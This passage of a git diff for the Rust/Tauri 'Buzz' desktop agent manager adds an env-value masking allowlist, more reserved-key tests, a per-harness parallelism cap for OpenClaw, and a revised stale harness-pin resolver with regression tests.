-    "BUZZ_MANAGED_AGENT",
-    "BUZZ_MANAGED_AGENT_START_NONCE",
-];
-
-pub(crate) fn is_reserved_env_key(key: &str) -> bool {
-    RESERVED_ENV_KEYS
-        .iter()
-        .any(|reserved| reserved.eq_ignore_ascii_case(key))
-}
+// Canonical reserved-key list + predicate, shared verbatim with `build.rs`.
+// See `reserved_env_keys.rs` for why this is `include!`d rather than a module.
+include!("reserved_env_keys.rs");
 
 /// Returns true if `key` is a well-formed POSIX-shaped env var name:
 /// `[A-Za-z_][A-Za-z0-9_]*`. This is a hard requirement, not a stylistic
@@ -220,6 +170,28 @@ pub fn validate_user_env_keys(env_vars: &BTreeMap<String, String>) -> Result<(),
     Ok(())
 }
 
+/// Returns `true` when `key` is safe to show verbatim — not a credential.
+///
+/// Default-deny: every key NOT in this explicit allowlist is masked. Callers
+/// that display env values (baked-env UI, spawn-diff tooltip) share this
+/// single authority — no second list.
+///
+/// Allowlist (case-insensitive):
+/// - `BUZZ_AGENT_PROVIDER`, `BUZZ_AGENT_MODEL` — agent runtime selection
+/// - `BUZZ_AGENT_THINKING_EFFORT` — non-secret enum (none/minimal/low/medium/high/xhigh/max)
+/// - `DATABRICKS_HOST`, `DATABRICKS_MODEL` — Block non-secret defaults
+pub(crate) fn is_safe_to_reveal(key: &str) -> bool {
+    const SAFE_KEYS: &[&str] = &[
+        "BUZZ_AGENT_PROVIDER",
+        "BUZZ_AGENT_MODEL",
+        "BUZZ_AGENT_THINKING_EFFORT",
+        "DATABRICKS_HOST",
+        "DATABRICKS_MODEL",
+    ];
+    let upper = key.to_ascii_uppercase();
+    SAFE_KEYS.iter().any(|safe| upper == *safe)
+}
+
 /// Per-value byte cap for env values. 32 KiB is generous for credentials,
 /// JWT-ish tokens, certs etc., but small enough that a malformed IPC
 /// caller can't blow up the persona/agent JSON file. Tune up if real
@@ -307,28 +279,5 @@ pub(crate) fn live_persona_env(
         .unwrap_or_default()
 }
 
-/// Resolve live env_vars for a linked persona, loading personas from disk.
-///
-/// Returns the persona's `env_vars` map if a persona_id is provided and found;
-/// returns an empty map if no persona is linked. Errors if the linked persona
-/// is missing. Used by the provider deploy path, which has no pre-loaded
-/// persona slice.
-pub(crate) fn resolve_persona_env(
-    app: &tauri::AppHandle,
-    persona_id: Option<&str>,
-) -> Result<std::collections::BTreeMap<String, String>, String> {
-    let Some(pid) = persona_id else {
-        return Ok(std::collections::BTreeMap::new());
-    };
-    let personas = super::load_personas(app).map_err(|e| {
-        format!("failed to load personas while resolving env for persona `{pid}`: {e}")
-    })?;
-    let persona = personas
-        .into_iter()
-        .find(|p| p.id == pid)
-        .ok_or_else(|| format!("persona `{pid}` not found while resolving env"))?;
-    Ok(persona.env_vars)
-}
-
 #[cfg(test)]
 mod tests;
diff --git a/desktop/src-tauri/src/managed_agents/env_vars/tests.rs b/desktop/src-tauri/src/managed_agents/env_vars/tests.rs
index cf57b12546..34cdfede2c 100644
--- a/desktop/src-tauri/src/managed_agents/env_vars/tests.rs
+++ b/desktop/src-tauri/src/managed_agents/env_vars/tests.rs
@@ -150,7 +150,11 @@ fn reserved_keys_include_respond_to_gate() {
     // Respond-to mode + allowlist control who the agent answers.
     // Overriding via env_vars would let the running agent answer
     // anyone even when the UI/record says owner-only.
-    for key in ["BUZZ_ACP_RESPOND_TO", "BUZZ_ACP_RESPOND_TO_ALLOWLIST"] {
+    for key in [
+        "BUZZ_ACP_RESPOND_TO",
+        "BUZZ_ACP_RESPOND_TO_ALLOWLIST",
+        "BUZZ_ACP_ALLOWED_RESPOND_TO",
+    ] {
         assert!(is_reserved_env_key(key), "{key} should be reserved");
         let agent = map(&[(key, "anyone")]);
         let merged = merged_user_env(&BTreeMap::new(), &agent);
@@ -158,6 +162,15 @@ fn reserved_keys_include_respond_to_gate() {
     }
 }
 
+#[test]
+fn reserved_keys_include_remote_lifetime_policy() {
+    for key in ["BUZZ_ACP_EXIT_AFTER_INACTIVITY", "BUZZ_ACP_NO_PRESENCE"] {
+        assert!(is_reserved_env_key(key), "{key} should be reserved");
+        let agent = map(&[(key, "0")]);
+        assert!(merged_user_env(&BTreeMap::new(), &agent).is_empty());
+    }
+}
+
 #[test]
 fn reserved_keys_include_code_execution_surface() {
     // The agent/MCP command + args are what Buzz actually exec's.
diff --git a/desktop/src-tauri/src/managed_agents/mod.rs b/desktop/src-tauri/src/managed_agents/mod.rs
index be9b07cf11..fe90ce430f 100644
--- a/desktop/src-tauri/src/managed_agents/mod.rs
+++ b/desktop/src-tauri/src/managed_agents/mod.rs
@@ -1,7 +1,10 @@
+pub(crate) mod access_policy;
 mod agent_env;
 pub(crate) mod agent_events;
 pub(crate) mod agent_snapshot;
+pub(crate) mod agent_snapshot_envelope;
 pub(crate) mod team_snapshot;
+pub(crate) use access_policy::{owner_only, owner_only_access_build, projected_access_with_policy};
 pub(crate) use agent_env::{
     baked_build_env, build_buzz_agent_provider_defaults, discovery_env_with_baked_floor,
 };
@@ -15,6 +18,7 @@ pub(crate) mod git_bash;
 pub(crate) mod global_config;
 mod managed_node_paths;
 mod nest;
+pub(crate) mod parallelism;
 mod persona_avatars;
 pub(crate) mod persona_events;
 mod personas;
@@ -30,7 +34,7 @@ mod runtime;
 mod runtime_commands;
 mod runtime_types;
 pub(crate) mod snapshot_avatar;
-pub(crate) mod spawn_hash;
+pub(crate) mod spawn_snapshot;
 pub(crate) mod storage;
 pub(crate) mod team_events;
 mod team_repair;
@@ -58,6 +62,7 @@ pub(crate) use global_config::{
 };
 pub(crate) use managed_node_paths::*;
 pub use nest::*;
+pub use parallelism::{acp_agents_value, effective_parallelism, harness_max_parallelism};
 pub use personas::*;
 #[cfg(windows)]
 pub use process_lifecycle::*;
diff --git a/desktop/src-tauri/src/managed_agents/nest.rs b/desktop/src-tauri/src/managed_agents/nest.rs
index c8f008836d..a57676f0a9 100644
--- a/desktop/src-tauri/src/managed_agents/nest.rs
+++ b/desktop/src-tauri/src/managed_agents/nest.rs
@@ -106,31 +106,6 @@ pub fn nest_dir() -> Option<PathBuf> {
     }
 }
 
-/// Returns `true` iff `path` ends with the dev-nest directory name (`.buzz-dev`).
-///
-/// Pure function — no globals — so it can be unit-tested without touching the
-/// process-lifetime [`NEST_DIR`] `OnceLock`.
-fn path_is_dev_nest(path: &std::path::Path) -> bool {
-    path.file_name()
-        .and_then(|n| n.to_str())
-        .map(|n| n == NEST_DIR_DEV)
-        .unwrap_or(false)
-}
-
-/// Returns `true` when the running binary is using the dev nest (`~/.buzz-dev`).
-///
-/// This is `true` for all dev builds — `just staging` and `just dev` — because
-/// [`init_nest_dir`] is called with `is_dev = true` when the Tauri app-data
-/// directory starts with `"xyz.block.buzz.app.dev"`.
-///
-/// Returns `false` when:
-/// - The nest is the production nest (`~/.buzz`, signed DMG).
-/// - [`init_nest_dir`] has not been called yet (unit tests, home dir
-///   unresolvable) — the fallback path is always the prod nest.
-pub fn nest_is_dev() -> bool {
-    nest_dir().map(|p| path_is_dev_nest(&p)).unwrap_or(false)
-}
-
 /// Creates the Buzz nest at `~/.buzz` if it doesn't already exist.
 ///
 /// Delegates to [`ensure_nest_at`] with the resolved nest directory.
diff --git a/desktop/src-tauri/src/managed_agents/nest/tests.rs b/desktop/src-tauri/src/managed_agents/nest/tests.rs
index 031b049a49..cbef171f6f 100644
--- a/desktop/src-tauri/src/managed_agents/nest/tests.rs
+++ b/desktop/src-tauri/src/managed_agents/nest/tests.rs
@@ -923,39 +923,3 @@ fn refresh_skill_overwrites_on_version_bump() {
         "SKILL.md must be refreshed on version bump"
     );
 }
-
-#[test]
-fn test_path_is_dev_nest_dev_path_returns_true() {
-    let path = std::path::Path::new("/Users/someone/.buzz-dev");
-    assert!(
-        path_is_dev_nest(path),
-        ".buzz-dev path must be identified as dev nest"
-    );
-}
-
-#[test]
-fn test_path_is_dev_nest_prod_path_returns_false() {
-    let path = std::path::Path::new("/Users/someone/.buzz");
-    assert!(
-        !path_is_dev_nest(path),
-        ".buzz path must not be identified as dev nest"
-    );
-}
-
-#[test]
-fn test_path_is_dev_nest_unrelated_path_returns_false() {
-    let path = std::path::Path::new("/Users/someone/.buzz-staging");
-    assert!(
-        !path_is_dev_nest(path),
-        "unrelated path must not be identified as dev nest"
-    );
-}
-
-#[test]
-fn test_path_is_dev_nest_root_returns_false() {
-    let path = std::path::Path::new("/");
-    assert!(
-        !path_is_dev_nest(path),
-        "root path must not be identified as dev nest"
-    );
-}
diff --git a/desktop/src-tauri/src/managed_agents/parallelism.rs b/desktop/src-tauri/src/managed_agents/parallelism.rs
new file mode 100644
index 0000000000..e1691575b1
--- /dev/null
+++ b/desktop/src-tauri/src/managed_agents/parallelism.rs
@@ -0,0 +1,305 @@
+// ── Per-harness parallelism cap ───────────────────────────────────────────────
+//
+// Contract: stored = requested; effective = min(requested, harness cap).
+//
+// `ManagedAgentRecord.parallelism` stores the user's requested value verbatim,
+// never clamped at persistence. The cap is applied only where the value
+// becomes a running worker-pool size:
+//
+//   * local spawn  — `BUZZ_ACP_AGENTS` in the child environment
+//   * remote deploy — `launch.policy_env["BUZZ_ACP_AGENTS"]` + legacy field
+//   * restart hash  — `SpawnConfigSnapshot` stores the effective value
+//   * display copy  — the UI derives effective for explanatory hints only
+//
+// `AgentDefinition.parallelism` is the portable requested value, unchanged
+// at every boundary so it travels across devices and harness switches intact.
+
+/// Maximum parallelism for the OpenClaw harness.
+///
+/// Each buzz-acp worker spawned by the Desktop is a client of the single
+/// shared OpenClaw Gateway daemon — running more than this number of workers
+/// is both resource-expensive and architecturally wrong per the OpenClaw
+/// design. Tyler's ruling: "try 5 and lower if needed."
+pub const OPENCLAW_MAX_PARALLELISM: u32 = 5;
+
+/// Return the maximum allowed parallelism for the given harness command, or
+/// `None` when the harness has no cap.
+///
+/// Keyed on [`super::discovery::normalize_command_identity`] so path prefixes,
+/// the `.exe` suffix on Windows, and other cosmetic differences are ignored.
+pub fn harness_max_parallelism(command: &str) -> Option<u32> {
+    match super::discovery::normalize_command_identity(command).as_str() {
+        "openclaw" => Some(OPENCLAW_MAX_PARALLELISM),
+        _ => None,
+    }
+}
+
+/// Return the effective parallelism for the given harness command and
+/// requested value: `min(value, harness_max_parallelism(command))`.
+///
+/// For harnesses without a cap this is the identity function.
+pub fn effective_parallelism(command: &str, value: u32) -> u32 {
+    match harness_max_parallelism(command) {
+        Some(cap) => value.min(cap),
+        None => value,
+    }
+}
+
+/// Return the value to emit as `BUZZ_ACP_AGENTS` for a spawn command.
+///
+/// Pure helper extracted from `spawn_agent_child` so both the production path
+/// and tests can call it without spawning a process. The result is
+/// `effective_parallelism(effective_command, record_parallelism)` formatted as
+/// a decimal string ready for `command.env("BUZZ_ACP_AGENTS", …)`.
+///
+/// `effective_command` must be the already-resolved harness command (override →
+/// runtime → persona runtime → default).
+pub fn acp_agents_value(effective_command: &str, record_parallelism: u32) -> String {
+    effective_parallelism(effective_command, record_parallelism).to_string()
+}
+
+#[cfg(test)]
+mod tests {
+    use crate::managed_agents::types::ManagedAgentRecord;
+
+    fn record_with(runtime: Option<&str>, parallelism: u32) -> ManagedAgentRecord {
+        ManagedAgentRecord {
+            pubkey: String::new(),
+            name: "r".to_string(),
+            persona_id: None,
+            private_key_nsec: String::new(),
+            auth_tag: None,
+            relay_url: String::new(),
+            avatar_url: None,
+            acp_command: String::new(),
+            agent_command: String::new(),
+            agent_command_override: None,
+            agent_args: vec![],
+            mcp_command: String::new(),
+            turn_timeout_seconds: 0,
+            idle_timeout_seconds: None,
+            max_turn_duration_seconds: None,
+            parallelism,
+            system_prompt: None,
+            model: None,
+            provider: None,
+            persona_source_version: None,
+            start_on_app_launch: false,
+            auto_restart_on_config_change: true,
+            runtime_pid: None,
+            backend: Default::default(),
+            backend_agent_id: None,
+            provider_binary_path: None,
+            team_id: None,
+            persona_team_dir: None,
+            persona_name_in_team: None,
+            env_vars: std::collections::BTreeMap::new(),
+            created_at: String::new(),
+            updated_at: String::new(),
+            last_started_at: None,
+            last_stopped_at: None,
+            last_exit_code: None,
+            last_error: None,
+            last_error_code: None,
+            respond_to: Default::default(),
+            respond_to_allowlist: vec![],
+            display_name: None,
+            slug: None,
+            runtime: runtime.map(str::to_string),
+            name_pool: Vec::new(),
+            is_builtin: false,
+            is_active: true,
+            shared: false,
+            source_team: None,
+            source_team_persona_slug: None,
+            catalog_source: None,
+            definition_respond_to: None,
+            definition_respond_to_allowlist: Vec::new(),
+            definition_parallelism: None,
+            relay_mesh: None,
+        }
+    }
+
+    fn persona_def(
+        id: &str,
+        runtime: Option<&str>,
+    ) -> crate::managed_agents::types::AgentDefinition {
+        use crate::managed_agents::types::AgentDefinition;
+        AgentDefinition {
+            id: id.to_string(),
+            display_name: String::new(),
+            avatar_url: None,
+            system_prompt: String::new(),
+            runtime: runtime.map(str::to_string),
+            model: None,
+            provider: None,
+            name_pool: vec![],
+            is_builtin: false,
+            is_active: true,
+            shared: false,
+            source_team: None,
+            source_team_persona_slug: None,
+            catalog_source: None,
+            env_vars: std::collections::BTreeMap::new(),
+            respond_to: None,
+            respond_to_allowlist: vec![],
+            parallelism: None,
+            created_at: String::new(),
+            updated_at: String::new(),
+        }
+    }
+
+    // ── Policy table: harness_max_parallelism / effective_parallelism ─────────
+
+    #[test]
+    fn policy_table() {
+        let cap = super::OPENCLAW_MAX_PARALLELISM;
+
+        // harness_max_parallelism: openclaw variants → Some(cap); others → None.
+        assert_eq!(super::harness_max_parallelism("openclaw"), Some(cap));
+        assert_eq!(
+            super::harness_max_parallelism("/usr/local/bin/openclaw"),
+            Some(cap)
+        );
+        assert_eq!(super::harness_max_parallelism("openclaw.exe"), Some(cap));
+        assert_eq!(
+            super::harness_max_parallelism(r"C:\Tools\openclaw.exe"),
+            Some(cap)
+        );
+        assert_eq!(super::harness_max_parallelism("goose"), None);
+        assert_eq!(super::harness_max_parallelism("buzz-agent"), None);
+        assert_eq!(super::harness_max_parallelism(""), None);
+
+        // effective_parallelism: openclaw clamps above cap, honors at/below; goose passes through.
+        assert_eq!(super::effective_parallelism("openclaw", cap + 5), cap);
+        assert_eq!(super::effective_parallelism("openclaw", cap), cap);
+        assert_eq!(super::effective_parallelism("openclaw", cap - 2), cap - 2);
+        assert_eq!(super::effective_parallelism("goose", 99), 99);
+        assert_eq!(super::effective_parallelism("buzz-agent", 32), 32);
+    }
+
+    // ── acp_agents_value: spawn-env seam ──────────────────────────────────────
+    //
+    // Drives the pure helper extracted from spawn_agent_child.
+    // Deleting or changing it breaks this test AND the production spawn env.
+
+    /// Legacy OpenClaw record (parallelism 10, above cap): BUZZ_ACP_AGENTS must be "5".
+    #[test]
+    fn acp_agents_value_openclaw_above_cap_is_capped() {
+        assert_eq!(
+            super::acp_agents_value("openclaw", 10),
+            "5",
+            "BUZZ_ACP_AGENTS for openclaw with parallelism 10 must be \"5\""
+        );
+        assert_eq!(super::acp_agents_value("goose", 10), "10");
+    }
+
+    // ── Override-direction: summary seam agreement ────────────────────────────
+    //
+    // Tests effective_parallelism and record_agent_command agreement for both
+    // override directions. Removing either direction loses the seam test for
+    // that cap/uncap path through the summary resolver.
+
+    /// OpenClaw runtime + Goose override: summary resolves goose → uncapped (10).
+    #[test]
+    fn override_direction_openclaw_runtime_goose_override_is_uncapped() {
+        let mut record = record_with(Some("openclaw"), 10);
+        record.agent_command_override = Some("goose".to_string());
+        let cmd = crate::managed_agents::record_agent_command(&record, &[]);
+        assert_eq!(cmd, "goose");
+        assert_eq!(super::effective_parallelism(&cmd, record.parallelism), 10);
+    }
+
+    /// Goose runtime + OpenClaw override: summary resolves openclaw → capped (5).
+    #[test]
+    fn override_direction_goose_runtime_openclaw_override_is_capped() {
+        let mut record = record_with(Some("goose"), 10);
+        record.agent_command_override = Some("openclaw".to_string());
+        let cmd = crate::managed_agents::record_agent_command(&record, &[]);
+        assert_eq!(cmd, "openclaw");
+        assert_eq!(
+            super::effective_parallelism(&cmd, record.parallelism),
+            super::OPENCLAW_MAX_PARALLELISM
+        );
+    }
+
+    // ── Summary: persona-inherited runtime (runtime=None) ─────────────────────
+    //
+    // Covers the case where runtime was cleared by an "inherit from persona"
+    // update: summary must resolve via the LIVE persona, not stale agent_command.
+
+    /// Stale agent_command="openclaw", live persona=goose → summary resolves goose → uncapped.
+    #[test]
+    fn summary_persona_inherited_stale_openclaw_live_goose_is_uncapped() {
+        let persona = persona_def("p-goose", Some("goose"));
+        let mut record = record_with(None, 10);
+        record.persona_id = Some("p-goose".to_string());
+        record.agent_command = "openclaw".to_string();
+        let cmd =
+            crate::managed_agents::record_agent_command(&record, std::slice::from_ref(&persona));
+        assert_eq!(
+            cmd, "goose",
+            "live persona must win over stale agent_command"
+        );
+        assert_eq!(super::effective_parallelism(&cmd, record.parallelism), 10);
+    }
+
+    /// Stale agent_command="goose", live persona=openclaw → summary resolves openclaw → capped.
+    #[test]
+    fn summary_persona_inherited_stale_goose_live_openclaw_is_capped() {
+        let persona = persona_def("p-openclaw", Some("openclaw"));
+        let mut record = record_with(None, 10);
+        record.persona_id = Some("p-openclaw".to_string());
+        record.agent_command = "goose".to_string();
+        let cmd =
+            crate::managed_agents::record_agent_command(&record, std::slice::from_ref(&persona));
+        assert_eq!(
+            cmd, "openclaw",
+            "live persona must win over stale agent_command"
+        );
+        assert_eq!(
+            super::effective_parallelism(&cmd, record.parallelism),
+            super::OPENCLAW_MAX_PARALLELISM
+        );
+    }
+
+    // ── Snapshot export: requested-definition / effective-instance contract ───
+
+    fn snapshot_record(
+        runtime: Option<&str>,
+        parallelism: u32,
+        definition_parallelism: Option<u32>,
+    ) -> ManagedAgentRecord {
+        use crate::managed_agents::types::{BackendKind, RespondTo};
+        use std::collections::BTreeMap;
+        let mut r = record_with(runtime, parallelism);
+        r.name = "snap-test".to_string();
+        r.definition_parallelism = definition_parallelism;
+        r.backend = BackendKind::Local;
+        r.respond_to = RespondTo::OwnerOnly;
+        r.env_vars = BTreeMap::new();
+        r
+    }
+
+    /// Snapshot export carries the requested definition parallelism verbatim.
+    #[test]
+    fn snapshot_export_carries_requested_definition_parallelism() {
+        use crate::managed_agents::agent_snapshot::{build_snapshot, MemoryLevel};
+        // definition_parallelism=Some(10) stored → exported as 10 unchanged.
+        let snap = build_snapshot(
+            &snapshot_record(Some("openclaw"), 10, Some(10)),
+            MemoryLevel::None,
+            vec![],
+            None,
+        );
+        assert_eq!(snap.definition.parallelism, Some(10));
+        // No definition_parallelism stored → falls back to record.parallelism.
+        let snap2 = build_snapshot(
+            &snapshot_record(Some("openclaw"), 10, None),
+            MemoryLevel::None,
+            vec![],
+            None,
+        );
+        assert_eq!(snap2.definition.parallelism, Some(10));
+    }
+}
diff --git a/desktop/src-tauri/src/managed_agents/persona_events.rs b/desktop/src-tauri/src/managed_agents/persona_events.rs
index 6afc18a501..de396f45c0 100644
--- a/desktop/src-tauri/src/managed_agents/persona_events.rs
+++ b/desktop/src-tauri/src/managed_agents/persona_events.rs
@@ -450,12 +450,12 @@ pub fn persona_snapshot(persona: &AgentDefinition) -> PersonaSnapshot {
 /// This is the single apply used by every snapshot-apply site: the spawn
 /// re-pin (`start_local_agent_with_preflight`), the launch backfill and
 /// restore re-snapshot (`restore.rs`), and the prospective re-snapshot inside
-/// `spawn_config_hash` — so a future `PersonaSnapshot` field addition
-/// propagates to all of them at once.
+/// `prospective_spawn_config_snapshot` — so a future `PersonaSnapshot` field
+/// addition propagates to all of them at once.
 ///
 /// Deliberately does NOT touch `updated_at`: persistence stamps are the
-/// caller's concern, and `spawn_config_hash` (which applies this to a clone)
-/// must stay pure.
+/// caller's concern, and the prospective snapshot (which applies this to a
+/// clone) must stay pure.
 pub fn apply_persona_snapshot(record: &mut ManagedAgentRecord, persona: &AgentDefinition) {
     let snapshot = persona_snapshot(persona);
     if let Some(prompt) = snapshot.system_prompt {
@@ -464,23 +464,42 @@ pub fn apply_persona_snapshot(record: &mut ManagedAgentRecord, persona: &AgentDe
     record.model = snapshot.model;
     record.provider = snapshot.provider;
     record.runtime = snapshot.runtime;
-    // Drop a stale create-time harness pin when the definition names a
-    // different known runtime; custom commands stay pinned.
-    if let Some(def_runtime) = persona
+    // Drop a stale create-time harness pin when the definition switches to a
+    // different known runtime (builtin, static preset, or loaded custom). A pin
+    // that names an unknown/custom command is always kept.
+    //
+    // Both sides are resolved through the canonical harness-identity resolver
+    // (`canonical_harness_command`) which accepts either a runtime id OR a
+    // command string — covering aliases (e.g. "claude-code-acp"), path prefixes
+    // ("/usr/local/bin/goose"), and harnesses whose id ≠ command. The persona
+    // runtime side is resolved via `command_for_runtime_id` (id-only input is
+    // sufficient there since persona.runtime is always an authoritative id).
+    //
+    // Comparison is on canonical primary commands so "goose", "/usr/local/bin/goose",
+    // and runtime id "goose" all represent the same harness; the stale pin is
+    // dropped only when the canonical commands differ.
+    if let Some(new_cmd) = persona
         .runtime
         .as_deref()
         .map(str::trim)
         .filter(|r| !r.is_empty())
-        .and_then(crate::managed_agents::known_acp_runtime_exact)
+        .and_then(super::command_for_runtime_id)
     {
-        if let Some(pin_runtime) = record
+        if let Some(pin) = record
             .agent_command_override
             .as_deref()
-            .and_then(crate::managed_agents::known_acp_runtime)
+            .map(str::trim)
+            .filter(|v| !v.is_empty())
         {
-            if !std::ptr::eq(pin_runtime, def_runtime) {
-                record.agent_command_override = None;
+            // Resolve the pin via the canonical resolver (accepts id OR command).
+            if let Some(pin_cmd) = super::canonical_harness_command(pin) {
+                if pin_cmd != new_cmd {
+                    // Known harness switched to a different known harness — drop stale pin.
+                    record.agent_command_override = None;
+                }
+                // Same harness: keep the pin (e.g. explicit path override for same runtime).
             }
+            // Custom/unknown pin: always keep.
         }
     }
     // env_vars stay overrides-only. Self-heal records written before the env
@@ -498,8 +517,9 @@ pub fn apply_persona_snapshot(record: &mut ManagedAgentRecord, persona: &AgentDe
 /// paths re-pin it to its linked persona, without mutating `record` itself.
 ///
 /// Every decision made ahead of the real re-pin — the relay-mesh preflight in
-/// `start_local_agent_with_preflight`, the restart-badge hash in
-/// `spawn_config_hash` — needs to reason about spawn-time state, not
+/// `start_local_agent_with_preflight`, the restart-badge snapshot in
+/// `prospective_spawn_config_snapshot` — needs to reason about spawn-time
+/// state, not
 /// pre-snapshot bytes, so a persona edit that flips a field (e.g. `provider`
 /// to/from relay-mesh) between saves is reflected in the decision instead of
 /// the stale value the real [`apply_persona_snapshot`] is about to overwrite
@@ -507,7 +527,7 @@ pub fn apply_persona_snapshot(record: &mut ManagedAgentRecord, persona: &AgentDe
 /// so the spawn-time stamp and later recomputes agree when nothing changed.
 ///
 /// Orphaned records (persona deleted) pass through unchanged: the caller's
-/// own orphan handling — refusing to spawn, hashing as `(None, None, None)`
+/// own orphan handling — refusing to spawn, snapshotting as `(None, None, None)`
 /// — runs on the real record downstream, not on this preview.
 pub fn preview_prospective_persona_snapshot(
     record: &ManagedAgentRecord,
@@ -522,4 +542,6 @@ pub fn preview_prospective_persona_snapshot(
     preview
 }
 #[cfg(test)]
+mod stale_pin_tests;
+#[cfg(test)]
 mod tests;
diff --git a/desktop/src-tauri/src/managed_agents/persona_events/stale_pin_tests.rs b/desktop/src-tauri/src/managed_agents/persona_events/stale_pin_tests.rs
new file mode 100644
index 0000000000..2bd7ba3d1c
--- /dev/null
+++ b/desktop/src-tauri/src/managed_agents/persona_events/stale_pin_tests.rs
@@ -0,0 +1,151 @@
+//! Stale-pin drop tests for `apply_persona_snapshot`.
+//!
+//! Covers the `canonical_harness_command` resolver used to classify a
+//! create-time `agent_command_override` before deciding whether it should be
+//! dropped when the persona switches to a different harness.
+
+use super::tests::{sample_persona, sample_record};
+use crate::managed_agents::persona_events::apply_persona_snapshot;
+use crate::managed_agents::types::AgentDefinition;
+
+// ── Stale-pin drop: OpenClaw↔Goose (preset↔builtin) ─────────────────────────
+
+/// Persona→OpenClaw: stale Goose override dropped.
+/// Regression for the original preset stale-pin fix.
+#[test]
+fn apply_persona_snapshot_goose_to_openclaw_drops_stale_goose_pin() {
+    let mut record = sample_record();
+    record.agent_command_override = Some("goose".to_string());
+    apply_persona_snapshot(
+        &mut record,
+        &AgentDefinition {
+            runtime: Some("openclaw".to_string()),
+            ..sample_persona()
+        },
+    );
+    assert_eq!(
+        record.agent_command_override, None,
+        "stale goose pin must be dropped when persona switches to openclaw"
+    );
+}
+
+/// Persona→Goose: stale OpenClaw override dropped.
+#[test]
+fn apply_persona_snapshot_openclaw_to_goose_drops_stale_openclaw_pin() {
+    let mut record = sample_record();
+    record.agent_command_override = Some("openclaw".to_string());
+    apply_persona_snapshot(
+        &mut record,
+        &AgentDefinition {
+            runtime: Some("goose".to_string()),
+            ..sample_persona()
+        },
+    );
+    assert_eq!(
+        record.agent_command_override, None,
+        "stale openclaw pin must be dropped when persona switches to goose"
+    );
+}
+
+// ── Stale-pin drop: alias pin (command ≠ id) ─────────────────────────────────
+
+/// Persona→OpenClaw; record has a stale `claude-code-acp` alias pin (id="claude",
+/// command="claude-agent-acp"). The canonical resolver must recognise the alias
+/// as the Claude harness and drop it when the persona switches to a different
+/// harness (OpenClaw).
+///
+/// This is the correctness case that motivated the `canonical_harness_command`
+/// resolver: the old pointer-comparison code treated the alias as a
+/// custom/unknown pin and kept it — the agent kept running Claude instead of
+/// OpenClaw.
+#[test]
+fn apply_persona_snapshot_claude_alias_pin_to_openclaw_drops_stale_alias() {
+    let mut record = sample_record();
+    // "claude-code-acp" is an alias of the Claude runtime (id="claude").
+    record.agent_command_override = Some("claude-code-acp".to_string());
+    apply_persona_snapshot(
+        &mut record,
+        &AgentDefinition {
+            runtime: Some("openclaw".to_string()),
+            ..sample_persona()
+        },
+    );
+    assert_eq!(
+        record.agent_command_override, None,
+        "stale claude-code-acp alias pin must be dropped when persona switches to openclaw"
+    );
+}
+
+// ── Stale-pin keep: same harness, path/alias override ───────────────────────
+
+/// Same-harness case: record has an explicit path override pointing at the same
+/// harness as the new persona runtime. The pin must NOT be dropped — it is a
+/// deliberate per-instance configuration (e.g. a specific goose binary path).
+#[test]
+fn apply_persona_snapshot_same_harness_path_pin_is_kept() {
+    let mut record = sample_record();
+    // Explicit path override for goose — same harness as the persona runtime.
+    record.agent_command_override = Some("/usr/local/bin/goose".to_string());
+    apply_persona_snapshot(
+        &mut record,
+        &AgentDefinition {
+            runtime: Some("goose".to_string()),
+            ..sample_persona()
+        },
+    );
+    assert_eq!(
+        record.agent_command_override.as_deref(),
+        Some("/usr/local/bin/goose"),
+        "same-harness path override must NOT be dropped"
+    );
+}
+
+// ── Stale-pin drop: builtin pin → loaded custom harness (tier-1→tier-3) ──────
+
+/// Persona→CustomHarness: stale Goose override dropped.
+///
+/// This is the custom-direction regression: before `canonical_harness_command`
+/// the destination lookup (`known_acp_runtime_exact`) only saw the four
+/// tier-1 builtins, so a switch to a loaded custom harness left any stale
+/// builtin pin authoritative.
+///
+/// Tier-3 (loaded custom harness) is reached via `lookup_loaded_harness_by_id`,
+/// which reads the in-process registry — so we must populate it via
+/// `update_loaded_harness_registry` under `registry_test_lock()`.
+#[test]
+fn apply_persona_snapshot_goose_to_custom_harness_drops_stale_goose_pin() {
+    use crate::managed_agents::custom_harnesses::{
+        registry_test_lock, update_loaded_harness_registry, HarnessDefinition,
+    };
+    use std::collections::BTreeMap;
+
+    let _lock = registry_test_lock();
+
+    // Register a custom harness definition so the resolver finds it at tier 3.
+    update_loaded_harness_registry(vec![HarnessDefinition {
+        id: "my-custom-harness".to_string(),
+        label: "My Custom Harness".to_string(),
+        command: "my-custom-bin".to_string(),
+        args: vec![],
+        env: BTreeMap::new(),
+        install_instructions_url: String::new(),
+        install_hint: String::new(),
+    }]);
+
+    let mut record = sample_record();
+    record.agent_command_override = Some("goose".to_string());
+    apply_persona_snapshot(
+        &mut record,
+        &AgentDefinition {
+            runtime: Some("my-custom-harness".to_string()),
+            ..sample_persona()
+        },
+    );
+    assert_eq!(
+        record.agent_command_override, None,
+        "stale goose pin must be dropped when persona switches to a loaded custom harness"
+    );
+
+    // Clean up the registry so parallel tests start from a known state.
+    update_loaded_harness_registry(vec![]);
+}
diff --git a/desktop/src-tauri/src/managed_agents/persona_events/tests.rs b/desktop/src-tauri/src/managed_agents/persona_events/tests.rs
index b9542f9a87..0580b12ce2 100644
--- a/desktop/src-tauri/src/managed_agents/persona_events/tests.rs
+++ b/desktop/src-tauri/src/managed_agents/persona_events/tests.rs
@@ -3,7 +3,7 @@ use crate::managed_agents::{BackendKind, ManagedAgentRecord, RespondTo};
 
 /// A linked instance record with no persona-derived fields set yet — the
 /// state right after creation, before any snapshot apply.
-fn sample_record() -> ManagedAgentRecord {
+pub(super) fn sample_record() -> ManagedAgentRecord {
     ManagedAgentRecord {
         pubkey: "p".repeat(64),
         name: "agent".into(),
@@ -139,7 +139,7 @@ fn preview_passes_through_unchanged_when_persona_missing() {
     assert_eq!(preview.persona_id.as_deref(), Some("deleted-persona"));
 }
 
-fn sample_persona() -> AgentDefinition {
+pub(super) fn sample_persona() -> AgentDefinition {
     AgentDefinition {
         id: "test-persona".to_string(),
         display_name: "Test Persona".to_string(),
diff --git a/desktop/src-tauri/src/managed_agents/process_lifecycle.rs b/desktop/src-tauri/src/managed_agents/process_lifecycle.rs
index 8dddf9f715..479d6ec913 100644
--- a/desktop/src-tauri/src/managed_agents/process_lifecycle.rs
+++ b/desktop/src-tauri/src/managed_agents/process_lifecycle.rs
@@ -133,7 +133,7 @@ pub fn taskkill_tree(pid: u32) -> Result<(), String> {
 pub fn finish_spawn(
     child: std::process::Child,
     log_path: std::path::PathBuf,
-    spawn_config_hash: u64,
+    spawn_config: super::spawn_snapshot::SpawnConfigSnapshot,
     setup_mode: bool,
     adapter_availability: Option<super::AcpAvailabilityStatus>,
